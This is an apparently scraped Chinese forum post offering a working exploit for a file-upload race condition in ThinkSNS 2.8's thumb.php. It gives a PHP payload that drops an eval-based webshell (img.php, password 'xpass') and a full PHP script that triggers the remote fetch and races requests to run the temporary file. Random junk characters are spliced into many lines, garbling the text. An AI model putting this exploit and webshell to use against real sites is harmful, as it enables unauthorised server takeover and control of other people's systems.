Thinksns2.8文件上传漏洞利用exp

admin

漏洞版本
存在漏洞的版本为：最新的2.8稳定版。（其它版本没测试过）
8 r/ W, z) n! n: a& N( W漏洞文件
存在漏洞的文件为：thumb.php
6 L2 Z6 r9 A3 @1 O4 {作者：韦鲲鹏
- P% t; w( T  H8 p( a# C# f$ ?# _1、        准备如下PHP文件并上传到服务器（自己的）。
文件内容如下：
8 G/ n2 J: G2 ]: S  _0 W  h9 W<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
6 `) ^. y$ p6 q3 ~8 c6 _2、        计算出临时的文件名：
; u8 A& c' x: ]这里我们可以看文件的99行（刚刚是不是没注意呀！）。
; H; e$ E$ N- |. v9 n3 Y
3、        上传临时文件。
4、        访问临时文件。
但是这里有个问题，PHP脚本执行的速度是非常快的，如果手工来执行第三和第四步的话，那需要的反应速度该多快呀！所以必须写一个工具来代替人来提交数 据，而且，为了增加第三步的执行时间，为第四步争取时间，我们需要给第一步所准备的PHP填充内容，经过测试，文件大小为300KB时成功率最高。（太小 时间太短，太大可能传不上去。）
Exploit文件内容如下：（这个我就不详细解释了）
% p9 X# o7 I& [5 P<?php
error_reporting(0);
set_time_limit(0);
ini_set(“default_socket_timeout”, 5);
( r0 x$ E0 e/ M6 Hfunction http_send($host, $port, $headers) {
8 n; t% Z% X, o7 o7 m; s$fp = fsockopen($host, $port);
2 ~3 H" S5 c& F- Wif (!$fp) die(‘Connection -> fail’);
1 ?4 A* E  f- @! Afputs($fp, $headers);
return $fp;
1 _6 _1 k6 n) P4 A3 L- K# f4 E}
function http_recv($fp) {
$ret=”";
5 i* w* A* p! n" V+ nwhile (!feof($fp))
$ret.= fgets($fp, 1024);
$ C) R0 Z9 y* M) [! w5 a$ ifclose($fp);
return $ret;
4 y: B! o9 x# R# U}
8 j8 W6 }7 }1 ^print “\n#  ThinkSns Arbitrary File Upload   #\n”;
print “# Discovered by 韦鲲鹏 #\n\n”;
if ($argc < 4) {
print “Usage:   php <host> <path> <romote_url>\n”;
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
die();
}
. h8 M  \: K3 H: }+ {$host = $argv[1];
$path = $argv[2];
$url = $argv[3];
$i=0;
# O2 l0 o+ L' i/ E  @1 P//上传数据包
2 F5 v& f; j$ {* }2 ~! ]$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
2 q5 g5 N; _) ]: y$headers_up .= “Host: “.$host.”\r\n”;
$headers_up .= “Connection: close\r\n\r\n”;
echo $headers_up;
//临时文件访问数据包
$ b. e" U$ N  n* ]$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
: J. C/ O' G3 D+ }$headers .= “Host: “.$host.”\r\n”;
$headers .= “Connection: close\r\n\r\n”;
) h+ O  B3 y$ D4 m" N, i3 u5 Yecho $headers;
7 s& X/ s( \& D* xwhile(++$i<10) {
fclose(http_send($host, 80, $headers));
% T6 m0 w* b8 k5 O/ V7 f}
- S* n7 s1 }2 A& dfclose(http_send($host, 80, $headers_up));
  z( t1 m1 }) `3 h  Kwhile(++$i<50) {
fclose(http_send($host, 80, $headers));
}
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
$headers .= “Host: “.$host.”\r\n”;
, x3 o9 h$ z4 p$headers .= “Connection: close\r\n\r\n”;
! u! w" f; `7 O% J6 j: t! U$ d) u& \$res=http_recv(http_send($host, 80, $headers));
7 g+ e  d; m4 {, m8 P: Z! ]if(preg_match(‘/200 OK/’,$res)) {
9 r" \5 j4 P) \0 X$ Eprint “Success!\n\n”;
} else {
print “Fail!\n\n”;
}
+ A# k$ k0 R. \7 ]7 `2 C4 c1 B' N5 m% U?>
​